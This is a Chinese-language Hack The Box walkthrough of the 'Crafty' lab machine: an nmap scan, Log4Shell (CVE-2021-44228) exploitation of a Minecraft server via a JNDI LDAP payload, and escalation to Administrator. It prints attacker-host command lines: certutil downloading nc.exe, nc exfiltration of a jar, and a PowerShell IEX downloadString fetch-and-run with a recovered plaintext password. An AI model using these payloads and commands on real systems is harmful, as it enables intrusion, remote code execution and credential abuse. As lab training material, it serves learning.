Hack The Box-Crafty

目录
信息收集
rustscan
whatweb
WEB
漏洞利用
漏洞说明
漏洞验证
提权
get user.txt
get Administrator
总结
信息收集
rustscan
┌──(root㉿ru)-[~/kali/hackthebox]
└─# rustscan -a 10.10.11.249 --range=0-65535 --ulimit=5000 -- -A -sC
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.249:80
Open 10.10.11.249:25565
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -sC -vvv -p 80,25565 10.10.11.249Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 13:37 CST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Initiating Ping Scan at 13:37
Scanning 10.10.11.249 [4 ports]
Completed Ping Scan at 13:37, 2.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:37
Scanning crafty.htb (10.10.11.249) [2 ports]
Discovered open port 80/tcp on 10.10.11.249
Discovered open port 25565/tcp on 10.10.11.249
Completed SYN Stealth Scan at 13:37, 0.30s elapsed (2 total ports)
Initiating Service scan at 13:37
Scanning 2 services on crafty.htb (10.10.11.249)
Completed Service scan at 13:37, 9.57s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against crafty.htb (10.10.11.249)
Retrying OS detection (try #2) against crafty.htb (10.10.11.249)
Initiating Traceroute at 13:37
Completed Traceroute at 13:37, 0.30s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:37
Completed Parallel DNS resolution of 1 host. at 13:37, 2.02s elapsed
DNS resolution of 1 IPs took 2.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
NSE: Script scanning 10.10.11.249.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 6.49s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 3.41s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Nmap scan report for crafty.htb (10.10.11.249)
Host is up, received echo-reply ttl 127 (0.26s latency).
Scanned at 2024-03-07 13:37:12 CST for 31sPORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Crafty - Official Website
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
25565/tcp open minecraft syn-ack ttl 127 Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=3/7%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=65E952A7%P=x86_64-pc-linux-gnu)
SEQ(TI=I%II=I%SS=S%TS=U)
SEQ(SP=101%GCD=1%ISR=108%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)Network Distance: 2 hops
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsTRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 276.70 ms 10.10.14.1
2 276.75 ms crafty.htb (10.10.11.249)NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.48 secondsRaw packets sent: 100 (8.148KB) | Rcvd: 33 (2.040KB)
从这可以看出。目标主机是一台windows主机,使用的是IIS 10.0服务器!而且出现域名 crafty.htb ,我们加入到hosts文件中!本台机器一共开放了两个端口 80和25565端口!80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
25565/tcp open minecraft syn-ack ttl 127 Minecraft 1.16.5
whatweb
┌──(root㉿ru)-[~/kali/hackthebox]
└─# whatweb http://crafty.htb/
http://crafty.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]
WEB

在主页发现子域名!经过尝试,没啥用!使用端口扫描器也没有探查到什么有用的东西!但是25565端口经过访问,发现有用的东西!

没错,就是这串java代码!我记得25565存在log4j漏洞!确切地说,是 CVE-2021–44228。这个漏洞允许我们控制日志消息和参数来执行任意代码!!!以下是此漏洞的poc!!!我们下载到本地去!
GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.
https://github.com/kozmer/log4j-shell-poc?source=post_page-----316a735a306d--------------------------------
漏洞利用
漏洞说明


因为目标主机是windows,所以我们改成 cmd.exe为了让“poc.py”顺利运行,我们需要一个名为“jdk1.8.0_20”的java存档。我找到了一个java存档https://repo.huaweicloud.com/java/jdk/8u181-b13/我们需要把他下载到log4j的目录内!下载链接: https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

解压出来tar -xf jdk-8u181-linux-x64.tar.gz
然后我们需要下载一个PyCraft ,它由 Python 编写的 Minecraft 客户端,它允许玩家使用 Python 编程语言来控制 Minecraft 游戏中的各种元素,
包括创建自动化过程、修改游戏中的世界、添加新功能等。我们需要下载一个,因为根据网站页面提示,就是mc服务器存在漏洞!版本是1.16.5
https://github.com/ammaraskar/pyCraft?source=post_page-----316a735a306d--------------------------------
https://github.com/ammaraskar/pyCraft?source=post_page-----316a735a306d--------------------------------
然后,我们需要设置一个虚拟环境供 pyCraft 运行virtualenv ENVsource ENV/bin/activatepip install -r requirements.txt------------------------------------
virtualenv ENV: 这是创建一个名为 ENV 的虚拟环境的命令。虚拟环境用于隔离项目的依赖,确保项目中使用的库和工具不会与系统中的其他项目冲突。source ENV/bin/activate: 这是激活虚拟环境的命令。在虚拟环境中运行的所有命令和脚本将使用该环境中的 Python 解释器和依赖项。pip install -r requirements.txt: 这是使用 pip 安装项目所需的依赖项的命令。通常,项目的依赖项会列在一个名为 requirements.txt 的文件中,
该命令会根据该文件安装所有必要的库。

漏洞验证
做完这些,我们需要一个监听器!我们需要利用log4j的poc,在此mc的服务器上进行反弹shell,所以需要一个监听器!


只需要输入Mojang的账号密码即可!但是我懒得注册,所以我们采用另一种方式就是直接去下载相应版本的游戏,因为该漏洞是存在mc游戏服务器里面的!我们只需要下载相应版本的游戏,再连接服务器,再次执行log4j漏洞的payload,即可触发该漏洞!



先在官网下载debian版本的mc,然后打开程序,下载一个版本是1.16.5的mc即可!然后打开!
打开发现是试玩模式,无法远程连接服务器,需要另外的解决办法经过我不断地寻找,发现可以使用TLauncher来进行免登录游玩,具体步骤如下先安装一个TLauncher的jdk1.8依赖环境,我们已经安装好了!(记得改个名字 : jdk1.8.0_20)然后,我们去 https://tlauncher.org/en/ 下载一个 TLauncher

将TLauncher解压后,会有一个jar文件,将其放到下载的jdk的文件夹下,然后启动即可!


会先下载一个库,比较慢!


完成更新之后,随便写一个名字,游戏版本选择 1.16.5版本!即可开始游戏!!

这样就完成了!选择多人游戏 --> 添加服务器 --> 10.10.11.249:25565 即可!在游戏的聊天框(按/,然后删除)中发送之前监听的payload : ${jndi:ldap://10.10.14.29:1389/a}


这样就反弹shell了!
提权
get user.txt

在桌面找到user.txt
get Administrator

在plugins目录下,找到一个jar文件!我们想办法下载到本地去!使用nc即可,我们先上传一个为windows版nc! (或者使用powershell,因为这个太简单了,所以尝试nc)


certutil.exe -urlcache -split -f http://10.10.14.29:7890/nc.exe nc.execertutil.exe:Windows 自带的证书工具程序


在kali开启 nc -lp 3434 > playercounter-1.0-SNAPSHOT.jar 进行接收文件!
在windows上,把jar文件传给kali: .\nc.exe 10.10.14.29 3434 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

我们使用查看jar包的软件进行查看jar包!我的建议是使用 JD-GUI 可以查看源码安装方便 apt-get install jd-gui 即可!

我们在源码中发现一个类似于密码的字符串!可能是管理员的!我们尝试!
1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred
这是一个 PowerShell 脚本用于创建一个凭据对象、以管理员身份启动 PowerShell 进程并下载执行 shell.ps1 脚本。这段代码做了以下几件事情:1. 创建一个 SecureString 对象 `$SecPass`,并将字符串 `'s67u84zKq8IXw'` 转换为一个安全字符串,用于保存密码。
2. 创建一个 PScredential 对象 `$cred`,该对象使用用户名 `'Administrator'` 和上一步创建的安全字符串作为密码。
3. 使用 Start-Process 命令启动一个新的 PowerShell 进程。命令的参数 `-FilePath "powershell"` 表示要执行的文件是 PowerShell,而 `-argumentlist` 参数指定了要传递给 PowerShell 的命令。
4. 在 `-argumentlist` 中,使用 IEX(Invoke-Expression)和 Net.WebClient 的 downloadString 方法来下载执行位于 `http://10.10.14.29:5454/shell.list` 的远程 PowerShell 脚本。此处的 URL 指向远程服务器上的 shell.ps1 脚本文件。下载的脚本将在以管理员身份启动的 PowerShell 进程中执行。
5. `-Credential $cred` 参数将之前创建的凭据对象传递给新启动的 PowerShell 进程,以确保以管理员身份运行该脚本。


shell.list 自己去生成! 里面的监听端口设置随意的即可!我设置的9999监听端口!

1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred


总结
通过 nmap 扫描识别出 HTTP 网页和 Minecraft 服务器。扫描显示服务器正在运行 IIS 10.0 — IIS 冗长并不是最佳实践。Nmap 服务版本很详细,可以轻松枚举漏洞。端口 25565 上的 Minecraft 服务器被识别为 v1.16.5,该服务器存在已知的 Log4j 漏洞,如 CVE-2021-44228 中记录的那样。该漏洞允许服务器上的用户输入简单的有效负载来获取服务器上的 shell。虽然某些权限可以限制损害,但存在一种允许使用管理员权限进行权限升级的方法。这个将危及用户的机密性,并可能导致服务器的完整性和可用性面临风险。最佳办法就是要求服务器立即修补或更新到最新版本
相关文章:
Hack The Box-Crafty
目录 信息收集 rustscan whatweb WEB 漏洞利用 漏洞说明 漏洞验证 提权 get user.txt get Administrator 总结 信息收集 rustscan ┌──(root㉿ru)-[~/kali/hackthebox] └─# rustscan -a 10.10.11.249 --range0-65535 --ulimit5000 -- -A -sC [~] Automatically…...
高电平复位电路工作原理详解
单片机复位电路的作用是:使单片机恢复到起始状态,让单片机的程序从头开始执行,运行时钟处于稳定状态、各种寄存器、端口处于初始化状态等等。目的是让单片机能够稳定、正确的从头开始执行程序。一共分为:高电平复位,低…...
了AI而强行AI的做法,构成了人与AI对抗的宿命论
从 ChatGPT到文生图的 Stable Diffusion,再到文生视频的 Sora ,每次大语言模型的迭代,以及由此衍生的新产品,都让各行各业的企业主、从业者们,感到无所适从。 普通人可以借助AI的力量“逆天改命”吗? 10多…...
【性能测试】Jmeter+InfluxDB+Grafana 搭建性能监控平台
一、背景 为什么要搭建性能监控平台? 在用 Jmeter 获取性能测试结果的时候,Jmeter自带的测试报告如下: 这个报告有几个很明显的缺点: 只能自己看,无法实时共享;报告信息的展示比较简陋单一,不…...
【YOLOv8模型网络结构图理解】
YOLOv8模型网络结构图理解 1 YOLOv8的yaml配置文件2 YOLOv8网络结构2.1 Conv2.2 C3与C2f2.3 SPPF2.4 Upsample2.5 Detect层 1 YOLOv8的yaml配置文件 YOLOv8的配置文件定义了模型的关键参数和结构,包括类别数、模型尺寸、骨干(backbone)和头部…...
付强:基于注意力机制的听觉前端处理 | 嘉宾公布
一、智能家居与会议系统专题论坛 智能家居与会议系统专题论坛将于3月28日同期举办! 智能会议系统它通过先进的技术手段,提高了会议效率,降低了沟通成本,提升了参会者的会议体验。对于现代企业、政府机构和学术界是不可或缺的。在这…...
C++_包装器
目录 1、包装器的用法 2、包装器的类型 3、包装器的作用 4、包装成员函数 5、bind(绑定) 5.1 bind的用法 5.2 bind减少参数个数 结语 前言: C11的包装器,总称为function包装器,而包装器又称适配器…...
3588板子部署yoloV5
一 :准备 ubuntu linux X86_64系统 a.安装anaconda b.创建虚拟环境 python3.8 二: 下载rknn-toolkit2 传送门 unzip 解压文件夹 三:pt转onnx模型 四:onnx转rknn模型 a:cd到rknn-toolkit2-master/rknn-toolkit2/packag…...
解决GitHub提交时不显示自己的头像 显示另一个账号(其实也是自己)
git show 看看是否是自己的githup 账号的邮箱 如果不是进行下列操作 git config user.email “你的邮箱地址”,修改邮箱 修改完以后输入git config user.email 检查是否修改成了你的邮箱 如果你想其他项目提交时,也避免此类情况,把上面的两条命令改成 (1&#…...
VUE_vue2/3点击区域外触发方法,点击除某个元素触发监听
Vue2 1、自定义指令 // 自定义指令,用于处理点击外部区域的事件 const clickOutside {bind(el, binding) {// 在元素上绑定一个点击事件监听器el.clickOutsideEvent function (event) {// 检查点击事件是否发生在元素的内部if (!(el event.target || el.contai…...
SpringCloud(20)之Skywalking Agent原理剖析
一、Agent原理剖析 使用Skywalking的时候,并没有修改程序中任何一行 Java 代码,这里便使用到了 Java Agent 技术,我 们接下来展开对Java Agent 技术的学习。 1.1 Java Agent Java Agent 是从 JDK1.5 开始引入的,算是一个比较老的…...
容器(0)-DOCKERFILE-安装-常用命令-部署-迁移备份-仓库
1.安装 启动 systemclt start docker //启动 systemctl status docker //状态 docker info systemclt stop docker systemctl status docker systemctl enable docker //开机启动 2.常用命令 镜像查看 docker images 镜像查看 docker status 镜像拉取 docker pull centos:…...
低功耗DC-DC电压调整器IU5528D
IU5528D是一款超微小型,超低功耗,高效率,升降压一体DC-DC调整器。适用于双节,三节干电池或者单节锂电池的应用场景。可以有效的延长电池的使用时间。IU5528D由电流模PWM控制环路,误差放大器,比较器和功率开关等模块组成。该芯片可在较宽负载范围内高效稳…...
【备战蓝桥杯系列】单源最短路径Dijkstra算法模板
Dijkstra算法模板 蓝桥杯中也是会考到图论最短路的,一旦考到,基本是不会太难的,只要知道板子就基本能拿分了。 两个板子如下 朴素Dijkstra算法 适应情况:稠密图,正权边 时间复杂度 O(n^2 m) int dijkst(){memse…...
嵌入式系统中端口号的理解与分析
每当看到有人的简历上写着熟悉 tcp/ip, http 等协议时, 我就忍不住问问他们: 你给我说说, 端口是啥吧! 可惜, 很少有人能说得让人满意... 所以这次就来谈谈端口(port), 这个熟悉的陌生人. 在此过程中, 还会谈谈间接层, naming service 等概念, IoC, 依赖倒置等原则以及 TCP 协议…...
3.自定义工程目录配置CMakeLists
问题背景 熟悉stm32keil开发的都知道,我们在编写不同的外设时,通常都会单独编写一个app文件夹或者是user文件夹之类的来存放不同外设功能的源文件和头文件。 在前面一节2.构建第一个工程并烧录到ESP32开发板-CSDN博客中,我们是使用了一个乐鑫…...
Vue3.0里为什么要用 Proxy API 替代 defineProperty API
一、Object.defineProperty 定义:Object.defineProperty() 方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回此对象 为什么能实现响应式 通过defineProperty 两个属性,get及set get 属性的 getter 函…...
c++初阶------类和对象(下)
作者前言 🎂 ✨✨✨✨✨✨🍧🍧🍧🍧🍧🍧🍧🎂 🎂 作者介绍: 🎂🎂 🎂 🎉🎉🎉…...
PMP考试:如何高效学习PMBOK?
PMBOK(项目管理知识体系指南)是PMP考试的核心教材,学习PMBOK对于备考PMP考试至关重要。那么我将分享一些高效学习PMBOK的方法和技巧,帮助同学们更好地掌握项目管理知识。 一、制定学习计划 在学习PMBOK之前,制定一个详…...
个人博客网站前端页面的实现
博客网站前端页面的实现 博客登录页 相关代码 login.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…...
(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...
Linux 文件类型,目录与路径,文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件:-(纯文本文件,二进制文件,数据格式文件) 如文本文件、图片、程序文件等。 目录文件:d(directory) 用来存放其他文件或子目录。 设备…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
Day131 | 灵神 | 回溯算法 | 子集型 子集
Day131 | 灵神 | 回溯算法 | 子集型 子集 78.子集 78. 子集 - 力扣(LeetCode) 思路: 笔者写过很多次这道题了,不想写题解了,大家看灵神讲解吧 回溯算法套路①子集型回溯【基础算法精讲 14】_哔哩哔哩_bilibili 完…...
江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命
在华东塑料包装行业面临限塑令深度调整的背景下,江苏艾立泰以一场跨国资源接力的创新实践,重新定义了绿色供应链的边界。 跨国回收网络:废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点,将海外废弃包装箱通过标准…...
P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
Qt Http Server模块功能及架构
Qt Http Server 是 Qt 6.0 中引入的一个新模块,它提供了一个轻量级的 HTTP 服务器实现,主要用于构建基于 HTTP 的应用程序和服务。 功能介绍: 主要功能 HTTP服务器功能: 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...
ardupilot 开发环境eclipse 中import 缺少C++
目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...
dify打造数据可视化图表
一、概述 在日常工作和学习中,我们经常需要和数据打交道。无论是分析报告、项目展示,还是简单的数据洞察,一个清晰直观的图表,往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server,由蚂蚁集团 AntV 团队…...
动态 Web 开发技术入门篇
一、HTTP 协议核心 1.1 HTTP 基础 协议全称 :HyperText Transfer Protocol(超文本传输协议) 默认端口 :HTTP 使用 80 端口,HTTPS 使用 443 端口。 请求方法 : GET :用于获取资源,…...
